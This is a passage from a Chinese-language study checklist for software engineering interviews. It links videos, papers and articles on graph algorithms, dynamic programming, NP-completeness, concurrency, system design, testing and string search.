(video)](https://www.youtube.com/watch?v=KNXfSOx4eEE) - [ ] [A* 寻路 (E01: 算法解释) (video)](https://www.youtube.com/watch?v=-L-WgKMFuhE) - 我会实现: - [ ] DFS 邻接表 (递归) - [ ] DFS 邻接表 (栈迭代) - [ ] DFS 邻接矩阵 (递归) - [ ] DFS 邻接矩阵 (栈迭代) - [ ] BFS 邻接表 - [ ] BFS 邻接矩阵 - [ ] 单源最短路径问题 (Dijkstra) - [ ] 最小生成树 - 基于 DFS 的算法 (根据上文 Aduni 的视频): - [ ] 检查环 (我们会先检查是否有环存在以便做拓扑排序) - [ ] 拓扑排序 - [ ] 计算图中的连通分支 - [ ] 列出强连通分量 - [ ] 检查双向图 可以从 Skiena 的书(参考下面的书推荐小节)和面试书籍中学习更多关于图的实践。 ## 更多知识 - ### 递归(Recursion) - [ ] Stanford 大学关于递归 & 回溯的课程: - [ ] [课程 8 | 抽象编程 (video)](https://www.youtube.com/watch?v=gl3emqCuueQ&list=PLFE6E58F856038C69&index=8) - [ ] [课程 9 | 抽象编程 (video)](https://www.youtube.com/watch?v=uFJhEPrbycQ&list=PLFE6E58F856038C69&index=9) - [ ] [课程 10 | 抽象编程 (video)](https://www.youtube.com/watch?v=NdF1QDTRkck&index=10&list=PLFE6E58F856038C69) - [ ] [课程 11 | 抽象编程 (video)](https://www.youtube.com/watch?v=p-gpaIGRCQI&list=PLFE6E58F856038C69&index=11) - 什么时候适合使用 - 尾递归会更好么? - [ ] [什么是尾递归以及为什么它如此糟糕?](https://www.quora.com/What-is-tail-recursion-Why-is-it-so-bad) - [ ] [尾递归 (video)](https://www.youtube.com/watch?v=L1jjXGfxozc) - ### 动态规划(Dynamic Programming) - This subject can be pretty difficult, as each DP soluble problem must be defined as a recursion relation, and coming up with it can be tricky. - 这一部分会有点困难,每个可以用动态规划解决的问题都必须先定义出递推关系,要推导出来可能会有点棘手。 - 我建议先阅读和学习足够多的动态规划的例子,以便对解决 DP 问题的一般模式有个扎实的理解。 - [ ] 视频: - Skiena 的视频可能会有点难跟上,有时候他用白板写的字会比较小,难看清楚。 - [ ] [Skiena: CSE373 2012 - 课程 19 - 动态规划介绍 (video)](https://youtu.be/Qc2ieXRgR0k?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=1718) - [ ] [Skiena: CSE373 2012 - 课程 20 - 编辑距离 (video)](https://youtu.be/IsmMhMdyeGY?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=2749) - [ ] [Skiena: CSE373 2012 - 课程 21 - 动态规划举例 (video)](https://youtu.be/o0V9eYF4UI8?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=406) - [ ] [Skiena: CSE373 2012 - 课程 22 - 动态规划应用 (video)](https://www.youtube.com/watch?v=dRbMC1Ltl3A&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=22) - [ ] [Simonson: 动态规划 0 (starts at 59:18) (video)](https://youtu.be/J5aJEcOr6Eo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3558) - [ ] [Simonson: 动态规划 I - 课程 11 (video)](https://www.youtube.com/watch?v=0EzHjQ_SOeU&index=11&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [Simonson: 动态规划 II - 课程 12 (video)](https://www.youtube.com/watch?v=v1qiRwuJU7g&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=12) - [ ] 单独的 DP 问题 (每一个视频都很短): [动态规划 (video)](https://www.youtube.com/playlist?list=PLrmLmBdmIlpsHaNTPP_jHHDx_os9ItYXr) - [ ] Yale 课程笔记: - [ ] [动态规划](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#dynamicProgramming) - [ ] Coursera 课程: - [ ] [RNA 二级结构问题 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/80RrW/the-rna-secondary-structure-problem) - [ ] [动态规划算法 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/PSonq/a-dynamic-programming-algorithm) - [ ] [DP 算法描述 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/oUEK2/illustrating-the-dp-algorithm) - [ ] [DP 算法的运行时间 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/nfK2r/running-time-of-the-dp-algorithm) - [ ] [DP vs 递归实现 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/M999a/dp-vs-recursive-implementation) - [ ] [全局成对序列排列 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/UZ7o6/global-pairwise-sequence-alignment) - [ ] [本地成对序列排列 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/WnNau/local-pairwise-sequence-alignment) - ### 组合(Combinatorics) (n 中选 k 个) & 概率(Probability) - [ ] [数据技巧: 如何找出阶乘、排列和组合(选择) (video)](https://www.youtube.com/watch?v=8RRo6Ti9d0U) - [ ] [来点学校的东西: 概率 (video)](https://www.youtube.com/watch?v=sZkAAk9Wwa4) - [ ] [来点学校的东西: 概率和马尔可夫链 (video)](https://www.youtube.com/watch?v=dNaJg-mLobQ) - [ ] 可汗学院: - 课程设置: - [ ] [概率理论基础](https://www.khanacademy.org/math/probability/probability-and-combinatorics-topic) - 视频 - 41 (每一个都短小精悍): - [ ] [概率解释 (video)](https://www.youtube.com/watch?v=uzkc-qNVoOk&list=PLC58778F28211FA19) - ### NP, NP-完全和近似算法 - 知道最经典的一些 NP 完全问题,比如旅行商问题和背包问题, 而且能在面试官试图忽悠你的时候识别出他们。 - 知道 NP 完全是什么意思. - [ ] [计算复杂度 (video)](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=23) - [ ] Simonson: - [ ] [贪心算法. II & 介绍 NP-完全性 (video)](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939) - [ ] [NP-完全性 II & 归约 (video)](https://www.youtube.com/watch?v=e0tGC6ZQdQE&index=16&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [NP-完全性 III (Video)](https://www.youtube.com/watch?v=fCX1BGT3wjE&index=17&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [NP-完全性 IV (video)](https://www.youtube.com/watch?v=NKLDp3Rch3M&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=18) - [ ] Skiena: - [ ] [CSE373 2012 - 课程 23 - 介绍 NP-完全性 IV (video)](https://youtu.be/KiK5TVgXbFg?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=1508) - [ ] [CSE373 2012 - 课程 24 - NP-完全性证明 (video)](https://www.youtube.com/watch?v=27Al52X3hd4&index=24&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] [CSE373 2012 - 课程 25 - NP-完全性挑战 (video)](https://www.youtube.com/watch?v=xCPH4gwIIXM&index=25&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] [复杂度: P, NP, NP-完全性, 规约 (video)](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22) - [ ] [复杂度: 近视算法 Algorithms (video)](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24) - [ ] [复杂度: 固定参数算法 (video)](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - Peter Norvik 讨论旅行商问题的近似最优解: - [Jupyter 笔记本](http://nbviewer.jupyter.org/url/norvig.com/ipython/TSP.ipynb) - 《算法导论》的第 1048 - 1140 页。 - ### 缓存(Cache) - [ ] LRU 缓存: - [ ] [LRU 的魔力 (100 Days of Google Dev) (video)](https://www.youtube.com/watch?v=R5ON3iwx78M) - [ ] [实现 LRU (video)](https://www.youtube.com/watch?v=bq6N7Ym81iI) - [ ] [LeetCode - 146 LRU Cache (C++) (video)](https://www.youtube.com/watch?v=8-FZRAjR7qU) - [ ] CPU 缓存: - [ ] [MIT 6.004 L15: 存储体系 (video)](https://www.youtube.com/watch?v=vjYF_fAZI5E&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-&index=24) - [ ] [MIT 6.004 L16: 缓存的问题 (video)](https://www.youtube.com/watch?v=ajgC3-pyGlk&index=25&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-) - ### 进程(Processe)和线程(Thread) - [ ] 计算机科学 162 - 操作系统 (25 个视频): - 视频 1-11 是关于进程和线程 - [操作系统和系统编程 (video)](https://www.youtube.com/playlist?list=PL-XXv-cvA_iBDyz-ba4yDskqMDY6A1w_c) - [进程和线程的区别是什么?](https://www.quora.com/What-is-the-difference-between-a-process-and-a-thread) - 涵盖了: - 进程、线程、协程 - 进程和线程的区别 - 进程 - 线程 - 锁 - 互斥 - 信号量 - 监控 - 他们是如何工作的 - 死锁 - 活锁 - CPU 活动, 中断, 上下文切换 - 现代多核处理器的并发式结构 - 进程资源需要(内存:代码、静态存储器、栈、堆、文件描述符、I/O) - 线程资源需要(在同一个进程内和其他线程共享以上的资源,但是每个线程都有独立的程序计数器、栈计数器、寄存器和栈) - Fork 操作是真正的写时复制(只读),直到新的进程写到内存中,才会生成一份新的拷贝。 - 上下文切换 - 操作系统和底层硬件是如何初始化上下文切换的。 - [ ] [C++ 的线程 (系列 - 10 个视频)](https://www.youtube.com/playlist?list=PL5jc9xFGsL8E12so1wlMS0r0hTQoJL74M) - [ ] Python 的协程 (视频): - [ ] [线程系列](https://www.youtube.com/playlist?list=PL1H1sBF1VAKVMONJWJkmUh6_p8g4F2oy1) - [ ] [Python 线程](https://www.youtube.com/watch?v=Bs7vPNbB9JM) - [ ] [理解 Python 的 GIL (2010)](https://www.youtube.com/watch?v=Obt-vMVdM8s) - [参考](http://www.dabeaz.com/GIL) - [ ] [David Beazley - Python 协程 - PyCon 2015](https://www.youtube.com/watch?v=MCs5OvhV9S4) - [ ] [Keynote David Beazley - 兴趣主题 (Python 异步 I/O)](https://www.youtube.com/watch?v=ZzfHjytDceU) - [ ] [Python 中的互斥](https://www.youtube.com/watch?v=0zaPs8OtyKY) 系统设计以及可伸缩性,要把软硬件的伸缩性设计的足够好有很多的东西要考虑,所以这是个包含非常多内容和资源的大主题。需要花费相当多的时间在这个主题上。 - ### 系统设计、可伸缩性、数据处理 - Yegge 的注意事项: - 伸缩性 - 把大数据集提取为单一值 - 大数据集转换 - 处理大量的数据集 - 系统 - 特征集 - 接口 - 类层次结构 - 在特定的约束下设计系统 - 轻量和健壮性 - 权衡和折衷 - 性能分析和优化 - [ ] **从这里开始**: [HiredInTech:系统设计](http://www.hiredintech.com/system-design/) - [ ] [该如何为技术面试里设计方面的问题做准备?](https://www.quora.com/How-do-I-prepare-to-answer-design-questions-in-a-technical-interview?redirected_qid=1500023) - [ ] [在系统设计面试前必须知道的 8 件事](http://blog.gainlo.co/index.php/2015/10/22/8-things-you-need-to-know-before-system-design-interviews/) - [ ] [算法设计](http://www.hiredintech.com/algorithm-design/) - [ ] [数据库范式 - 1NF, 2NF, 3NF and 4NF (video)](https://www.youtube.com/watch?v=UrYLYV7WSHM) - [ ] [系统设计面试](https://github.com/checkcheckzz/system-design-interview) - 这一部分有很多的资源,浏览一下我放在下面的文章和例子。 - [ ] [如何在系统设计面试中脱颖而出](http://www.palantir.com/2011/10/how-to-rock-a-systems-design-interview/) - [ ] [每个人都该知道的一些数字](http://everythingisdata.wordpress.com/2009/10/17/numbers-everyone-should-know/) - [ ] [上下文切换操作会耗费多少时间?](http://blog.tsunanet.net/2010/11/how-long-does-it-take-to-make-context.html) - [ ] [跨数据中心的事务 (video)](https://www.youtube.com/watch?v=srOgpXECblk) - [ ] [简明 CAP 理论介绍](http://ksat.me/a-plain-english-introduction-to-cap-theorem/) - [ ] Paxos 一致性算法: - [时间很短](https://www.youtube.com/watch?v=s8JqcZtvnsM) - [用例 和 multi-paxos](https://www.youtube.com/watch?v=JEpsBg0AO6o) - [论文](http://research.microsoft.com/en-us/um/people/lamport/pubs/paxos-simple.pdf) - [ ] [一致性哈希](http://www.tom-e-white.com/2007/11/consistent-hashing.html) - [ ] [NoSQL 模式](http://horicky.blogspot.com/2009/11/nosql-patterns.html) - [ ] [OOSE: UML 2.0 系列 (video)](https://www.youtube.com/watch?v=OkC7HKtiZC0&list=PLGLfVvz_LVvQ5G-LdJ8RLqe-ndo7QITYc) - [ ] OOSE: 使用 UML 和 Java 开发软件 (21 videos): - 如果你对 OO 都深刻的理解和实践,可以跳过这部分。 - [OOSE: 使用 UML 和 Java 开发软件](https://www.youtube.com/playlist?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO) - [ ] 面向对象编程的 SOLID 原则: - [ ] [Bob Martin 面向对象的 SOLID 原则和敏捷设计 (video)](https://www.youtube.com/watch?v=TMuno5RZNeE) - [ ] [C# SOLID 设计模式 (video)](https://www.youtube.com/playlist?list=PL8m4NUhTQU48oiGCSgCP1FiJEcg_xJzyQ) - [ ] [SOLID 原则 (video)](https://www.youtube.com/playlist?list=PL4CE9F710017EA77A) - [ ] S - [单一职责原则](http://www.oodesign.com/single-responsibility-principle.html) | [每个对象的单一职责](http://www.javacodegeeks.com/2011/11/solid-single-responsibility-principle.html) - [更多](https://docs.google.com/open?id=0ByOwmqah_nuGNHEtcU5OekdDMkk) - [ ] O - [开闭原则](http://www.oodesign.com/open-close-principle.html) | [生产环境里的对象应该为扩展做准备而不是为更改](https://en.wikipedia.org/wiki/Open/closed_principle) - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgN2M5MTkwM2EtNWFkZC00ZTI3LWFjZTUtNTFhZGZiYmUzODc1&hl=en) - [ ] L - [里氏代换原则](http://www.oodesign.com/liskov-s-substitution-principle.html) | [基类和继承类遵循 ‘IS A’ 原则](http://stackoverflow.com/questions/56860/what-is-the-liskov-substitution-principle) - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgNzAzZjA5ZmItNjU3NS00MzQ5LTkwYjMtMDJhNDU5ZTM0MTlh&hl=en) - [ ] I - [接口隔离原则](http://www.oodesign.com/interface-segregation-principle.html) | 客户端被迫实现用不到的接口 - [5 分钟讲解接口隔离原则 (video)](https://www.youtube.com/watch?v=3CtAfl7aXAQ) - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgOTViYjJhYzMtMzYxMC00MzFjLWJjMzYtOGJiMDc5N2JkYmJi&hl=en) - [ ] D -[依赖反转原则](http://www.oodesign.com/dependency-inversion-principle.html) | 减少对象里的依赖。 - [什么是依赖倒置以及它为什么重要](http://stackoverflow.com/questions/62539/what-is-the-dependency-inversion-principle-and-why-is-it-important) - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgMjdlMWIzNGUtZTQ0NC00ZjQ5LTkwYzQtZjRhMDRlNTQ3ZGMz&hl=en) - [ ] 可伸缩性: - [ ] [很棒的概述 (video)](https://www.youtube.com/watch?v=-W9F__D3oY4) - [ ] 简短系列: - [克隆](http://www.lecloud.net/post/7295452622/scalability-for-dummies-part-1-clones) - [数据库](http://www.lecloud.net/post/7994751381/scalability-for-dummies-part-2-database) - [缓存](http://www.lecloud.net/post/9246290032/scalability-for-dummies-part-3-cache) - [异步](http://www.lecloud.net/post/9699762917/scalability-for-dummies-part-4-asynchronism) - [ ] [可伸缩的 Web 架构和分布式系统](http://www.aosabook.org/en/distsys.html) - [ ] [错误的分布式系统解释](https://pages.cs.wisc.edu/~zuyu/files/fallacies.pdf) - [ ] [实用编程技术](http://horicky.blogspot.com/2010/10/scalable-system-design-patterns.html) - [extra: Google Pregel 图形处理](http://horicky.blogspot.com/2010/07/google-pregel-graph-processing.html) - [ ] [Jeff Dean - 在 Goolge 构建软件系统 (video)](https://www.youtube.com/watch?v=modXC5IWTJI) - [ ] [可伸缩系统架构设计介绍](http://lethain.com/introduction-to-architecting-systems-for-scale/) - [ ] [使用 App Engine 和云存储扩展面向全球用户的手机游戏架构实践(video)](https://www.youtube.com/watch?v=9nWyWwY2Onc) - [ ] [How Google Does Planet-Scale Engineering for Planet-Scale Infra (video)](https://www.youtube.com/watch?v=H4vMcD7zKM0) - [ ] [算法的重要性](https://www.topcoder.com/community/data-science/data-science-tutorials/the-importance-of-algorithms/) - [ ] [分片](http://highscalability.com/blog/2009/8/6/an-unorthodox-approach-to-database-design-the-coming-of-the.html) - [ ] [Facebook 系统规模扩展实践 (2009)](https://www.infoq.com/presentations/Scale-at-Facebook) - [ ] [Facebook 系统规模扩展实践 (2012), "为 10 亿用户构建" (video)](https://www.youtube.com/watch?v=oodS71YtkGU) - [ ] [Long Game 工程实践 - Astrid Atkinson Keynote(video)](https://www.youtube.com/watch?v=p0jGmgIrf_M&list=PLRXxvay_m8gqVlExPC5DG3TGWJTaBgqSA&index=4) - [ ] [30 分钟看完 YouTuBe 7 年系统扩展经验](http://highscalability.com/blog/2012/3/26/7-years-of-youtube-scalability-lessons-in-30-minutes.html) - [video](https://www.youtube.com/watch?v=G-lGCC4KKok) - [ ] [PayPal 如何用 8 台虚拟机扛住 10 亿日交易量系统](http://highscalability.com/blog/2016/8/15/how-paypal-scaled-to-billions-of-transactions-daily-using-ju.html) - [ ] [如何对大数据集去重](https://blog.clevertap.com/how-to-remove-duplicates-in-large-datasets/) - [ ] [Etsy 的扩展和工程文化探究 Jon Cowie (video)](https://www.youtube.com/watch?v=3vV4YiqKm1o) - [ ] [是什么造就了 Amazon 自己的微服务架构](http://thenewstack.io/led-amazon-microservices-architecture/) - [ ] [压缩还是不压缩,是 Uber 面临的问题](https://eng.uber.com/trip-data-squeeze/) - [ ] [异步 I/O Tarantool 队列](http://highscalability.com/blog/2016/3/3/asyncio-tarantool-queue-get-in-the-queue.html) - [ ] [什么时候应该用近视查询处理?](http://highscalability.com/blog/2016/2/25/when-should-approximate-query-processing-be-used.html) - [ ] [Google 从单数据中心到故障转移, 到本地多宿主架构的演变]( http://highscalability.com/blog/2016/2/23/googles-transition-from-single-datacenter-to-failover-to-a-n.html) - [ ] [Spanner](http://highscalability.com/blog/2012/9/24/google-spanners-most-surprising-revelation-nosql-is-out-and.html) - [ ] [Egnyte: 构建和扩展 PB 级分布式系统架构的经验教训](http://highscalability.com/blog/2016/2/15/egnyte-architecture-lessons-learned-in-building-and-scaling.html) - [ ] [机器学习驱动的编程: 新世界的新编程方式](http://highscalability.com/blog/2016/7/6/machine-learning-driven-programming-a-new-programming-for-a.html) - [ ] [日服务数百万请求的图像优化技术](http://highscalability.com/blog/2016/6/15/the-image-optimization-technology-that-serves-millions-of-re.html) - [ ] [Patreon 架构](http://highscalability.com/blog/2016/2/1/a-patreon-architecture-short.html) - [ ] [Tinder: 推荐引擎是如何决定下一个你将会看到谁的?](http://highscalability.com/blog/2016/1/27/tinder-how-does-one-of-the-largest-recommendation-engines-de.html) - [ ] [现代缓存设计](http://highscalability.com/blog/2016/1/25/design-of-a-modern-cache.html) - [ ] [Facebook 实时视频流扩展](http://highscalability.com/blog/2016/1/13/live-video-streaming-at-facebook-scale.html) - [ ] [在 Amazon AWS 上把服务扩展到 1100 万量级的新手教程](http://highscalability.com/blog/2016/1/11/a-beginners-guide-to-scaling-to-11-million-users-on-amazons.html) - [ ] [对延时敏感的应用是否应该使用 Docker?](http://highscalability.com/blog/2015/12/16/how-does-the-use-of-docker-effect-latency.html) - [ ] [AMP(Accelerated Mobile Pages)的存在是对 Google 的威胁么?](http://highscalability.com/blog/2015/12/14/does-amp-counter-an-existential-threat-to-google.html) - [ ] [360 度解读 Netflix 技术栈](http://highscalability.com/blog/2015/11/9/a-360-degree-view-of-the-entire-netflix-stack.html) - [ ] [延迟无处不在 - 如何搞定它?](http://highscalability.com/latency-everywhere-and-it-costs-you-sales-how-crush-it) - [ ] [无服务器架构](http://martinfowler.com/articles/serverless.html) - [ ] [是什么驱动着 Instagram: 上百个实例、几十种技术](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances) - [ ] [Cinchcast 架构 - 每天处理 1500 小时的音频](http://highscalability.com/blog/2012/7/16/cinchcast-architecture-producing-1500-hours-of-audio-every-d.html) - [ ] [Justin.Tv 实时视频播放架构](http://highscalability.com/blog/2010/3/16/justintvs-live-video-broadcasting-architecture.html) - [ ] [Playfish's 社交游戏架构 - 每月五千万用户增长](http://highscalability.com/blog/2010/9/21/playfishs-social-gaming-architecture-50-million-monthly-user.html) - [ ] [猫途鹰架构 - 40 万访客, 200 万动态页面访问, 30TB 数据](http://highscalability.com/blog/2011/6/27/tripadvisor-architecture-40m-visitors-200m-dynamic-page-view.html) - [ ] [PlentyOfFish 架构](http://highscalability.com/plentyoffish-architecture) - [ ] [Salesforce 架构 - 如何扛住 13 亿日交易量](http://highscalability.com/blog/2013/9/23/salesforce-architecture-how-they-handle-13-billion-transacti.html) - [ ] [ESPN's 架构扩展](http://highscalability.com/blog/2013/11/4/espns-architecture-at-scale-operating-at-100000-duh-nuh-nuhs.html) - [ ] 下面 『消息、序列化和消息系统』部分的内容会提到什么样的技术能把各种服务整合到一起 - [ ] Twitter: - [O'Reilly MySQL CE 2011: Jeremy Cole, "Big and Small Data at @Twitter" (video)](https://www.youtube.com/watch?v=5cKTP36HVgI) - [时间线的扩展](https://www.infoq.com/presentations/Twitter-Timeline-Scalability) - 更多内容可以查看视频部分的『大规模数据挖掘』视频系列。 - [ ] 系统设计问题练习:下面有一些指导原则,每一个都有相关文档以及在现实中该如何处理。 - 复习: [HiredInTech 的系统设计](http://www.hiredintech.com/system-design/) - [cheat sheet](https://github.com/jwasham/google-interview-university/blob/master/extras/cheat%20sheets/system-design.pdf) - 流程: 1. 理解问题和范围: - 在面试官的帮助下定义用例 - 提出附加功能的建议 - 去掉面试官认定范围以外的内容 - 假定高可用是必须的,而且要作为一个用例 2. 考虑约束: - 问一下每月请求量 - 问一下每秒请求量 (他们可能会主动提到或者让你算一下) - 评估读写所占的百分比 - 评估的时候牢记 2/8 原则 - 每秒写多少数据 - 总的数据存储量要考虑超过 5 年的情况 - 每秒读多少数据 3. 抽象设计: - 分层 (服务, 数据, 缓存) - 基础设施: 负载均衡, 消息 - 粗略的概括任何驱动整个服务的关键算法 - 考虑瓶颈并指出解决方案 - 练习: - [设计一个 CDN 网络](http://repository.cmu.edu/cgi/viewcontent.cgi?article=2112&context=compsci) - [设计一个随机唯一 ID 生成系统](https://blog.twitter.com/2010/announcing-snowflake) - [设计一个在线多人卡牌游戏](http://www.indieflashblog.com/how-to-create-an-asynchronous-multiplayer-game.html) - [设计一个 key-value 数据库](http://www.slideshare.net/dvirsky/introduction-to-redis) - [设计一个函数获取过去某个时间段内前 K 个最高频访问的请求]( https://icmi.cs.ucsb.edu/research/tech_reports/reports/2005-23.pdf) - [设计一个图片分享系统](http://highscalability.com/blog/2011/12/6/instagram-architecture-14-million-users-terabytes-of-photos.html) - [设计一个推荐系统](http://ijcai13.org/files/tutorial_slides/td3.pdf) - [设计一个短域名生成系统](http://www.hiredintech.com/system-design/the-system-design-process/) - [设计一个缓存系统](https://www.adayinthelifeof.nl/2011/02/06/memcache-internals/) - ### 论文 - 有 Google 的论文和一些知名的论文. - 你很可能实在没时间一篇篇完整的读完他们。我建议可以有选择的读其中一些论文里的核心部分。 - [ ] [1978: 通信顺序处理](http://spinroot.com/courses/summer/Papers/hoare_1978.pdf) - [Go 实现](https://godoc.org/github.com/thomas11/csp) - [喜欢经典的论文?](https://www.cs.cmu.edu/~crary/819-f09/) - [ ] [2003: The Google 文件系统](http://static.googleusercontent.com/media/research.google.com/en//archive/gfs-sosp2003.pdf) - 2012 年被 Colossus 取代了 - [ ] [2004: MapReduce: Simplified Data Processing on Large Clusters]( http://static.googleusercontent.com/media/research.google.com/en//archive/mapreduce-osdi04.pdf) - 大多被云数据流取代了? - [ ] [2007: 每个程序员都应该知道的内存知识 (非常长,作者建议跳过某些章节来阅读)](https://www.akkadia.org/drepper/cpumemory.pdf) - [ ] [2012: Google 的 Colossus](https://www.wired.com/2012/07/google-colossus/) - 没有论文 - [ ] 2012: AddressSanitizer: 快速的内存访问检查器: - [论文](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/37752.pdf) - [视频](https://www.usenix.org/conference/atc12/technical-sessions/presentation/serebryany) - [ ] 2013: Spanner: Google 的分布式数据库: - [论文](http://static.googleusercontent.com/media/research.google.com/en//archive/spanner-osdi2012.pdf) - [视频](https://www.usenix.org/node/170855) - [ ] [2014: Machine Learning: The High-Interest Credit Card of Technical Debt](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43146.pdf) - [ ] [2015: Continuous Pipelines at Google](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43790.pdf) - [ ] [2015: 大规模高可用: 构建 Google Ads 的数据基础设施](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44686.pdf) - [ ] [2015: TensorFlow: 异构分布式系统上的大规模机器学习](http://download.tensorflow.org/paper/whitepaper2015.pdf ) - [ ] [2015: 开发者应该如何搜索代码:用例学习](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43835.pdf) - [ ] [2016: Borg, Omega, and Kubernetes](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/44843.pdf) - ### 测试 - 涵盖了: - 单元测试是如何工作的 - 什么是模拟对象 - 什么是集成测试 - 什么是依赖注入 - [ ] [James Bach 讲敏捷软件测试 (video)](https://www.youtube.com/watch?v=SAhJf36_u5U) - [ ] [James Bach 软件测试公开课 (video)](https://www.youtube.com/watch?v=ILkT_HV9DVU) - [ ] [Steve Freeman - 测试驱动的开发 (video)](https://vimeo.com/83960706) - [slides](http://gotocon.com/dl/goto-berlin-2013/slides/SteveFreeman_TestDrivenDevelopmentThatsNotWhatWeMeant.pdf) - [ ] [测试驱动的开发已死。测试不朽。](http://david.heinemeierhansson.com/2014/tdd-is-dead-long-live-testing.html) - [ ] [测试驱动的开发已死? (video)](https://www.youtube.com/watch?v=z9quxZsLcfo) - [ ] [视频系列 (152 个) - 并不都是必须 (video)](https://www.youtube.com/watch?v=nzJapzxH_rE&list=PLAwxTw4SYaPkWVHeC_8aSIbSxE_NXI76g) - [ ] [Python:测试驱动的 Web 开发](http://www.obeythetestinggoat.com/pages/book.html#toc) - [ ] 依赖注入: - [ ] [视频](https://www.youtube.com/watch?v=IKD2-MAkXyQ) - [ ] [测试之道](http://jasonpolites.github.io/tao-of-testing/ch3-1.1.html) - [ ] [如何编写测试](http://jasonpolites.github.io/tao-of-testing/ch4-1.1.html) - ### 调度 - 在操作系统中是如何运作的 - 在操作系统部分的视频里有很多资料 - ### 实现系统例程 - 理解你使用的系统 API 底层有什么 - 你能自己实现它们么? - ### 字符串搜索和操作 - [ ] [文本的搜索模式 (video)](https://www.coursera.org/learn/data-structures/lecture/tAfHI/search-pattern-in-text) - [ ] Rabin-Karp (videos): - [Rabin Karps 算法](https://www.coursera.org/learn/data-structures/lecture/c0Qkw/rabin-karps-algorithm) - [预先计算的优化](https://www.coursera.org/learn/data-structures/lecture/nYrc8/optimization-precomputation) - [优化: 实现和分析](https://www.coursera.org/learn/data-structures/lecture/h4ZLc/optimization-implementation-and-analysis) - [Table Doubling, Karp-Rabin](https://www.youtube.com/watch?v=BRO7mVIFt08&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=9) - [滚动哈希](https://www.youtube.com/watch?v=w6nuXg0BISo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=32) - [ ] Knuth-Morris-Pratt (KMP) 算法: - [Pratt 算法](https://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm) - [教程: Knuth-Morris-Pratt (KMP) 字符串匹配算法](https://www.youtube.com/watch?v=2ogqPWJSftE) - [ ] Boyer–Moore 字符串搜索算法 - [Boyer-Moore字符串搜索算法](https://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string_search_algorithm) - [Boyer-Moore-Horspool 高级字符串搜索算法 (video)](https://www.youtube.com/watch?v=QDZpzctPf10) - [ ] [Coursera: 字符串的算法](https://www.coursera.org/learn/algorithms-on-strings/home/week/1) --- ## 终面 这一部分有一些短视频,你可以快速的观看和复习大多数重要概念。 这对经常性的巩固很有帮助。 #### 综述: - [ ] 2-3 分钟的短视频系列 (23 个) - [Videos](https://www.youtube.com/watch?v=r4r1DZcx1cM&list=PLmVb1OknmNJuC5POdcDv5oCS7_OUkDgpj&index=22) - [ ] 2-5 分钟的短视频系列 - Michael Sambol (18 个): - [Videos](https://www.youtube.com/channel/UCzDJwLWoYCUQowF_nG3m5OQ) #### 排序: - [ ] 归并排序: https://www.youtube.com/watch?v=GCae1WNvnZM ## 书籍 ### Google Coaching 里提到的 **阅读并做练习:** - [ ] 算法设计手册 (Skiena) - 书 (Kindle 上可以租到): - [Algorithm Design Manual](http://www.amazon.com/Algorithm-Design-Manual-Steven-Skiena/dp/1849967202) - Half.com 是一个资源丰富且性价比很高的在线书店. - 答案: - [解答](http://www.algorithm.cs.sunysb.edu/algowiki/index.php/The_Algorithms_Design_Manual_(Second_Edition)) - [解答](http://blog.panictank.net/category/algorithmndesignmanualsolutions/page/2/) - [勘误表](http://www3.cs.stonybrook.edu/~skiena/algorist/book/errata) read and do exercises from the books below. Then move to coding challenges (further down below) 